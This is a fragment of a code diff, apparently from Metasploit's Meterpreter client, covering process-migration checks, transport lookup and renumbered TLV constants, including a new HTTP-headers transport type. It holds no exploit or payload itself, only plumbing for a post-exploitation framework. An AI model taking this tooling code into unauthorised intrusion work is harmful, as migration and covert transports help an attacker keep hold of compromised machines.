# On linux, arch is empty even if we can access the process
if client.platform == 'windows'
if target_process['arch'] == nil || target_process['arch'].empty?
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
end
@ -718,7 +720,8 @@ private
# Get a reference to the currently active transport.
#
def get_current_transport
transport_list[:transports][0]
x = transport_list
x[:transports][0]
end
#
@ -728,6 +731,7 @@ private
def generate_migrate_stub(target_process)
stub = nil
if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
t = get_current_transport

View File

@ -102,7 +102,8 @@ TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461

Some files were not shown because too many files have changed in this diff Show More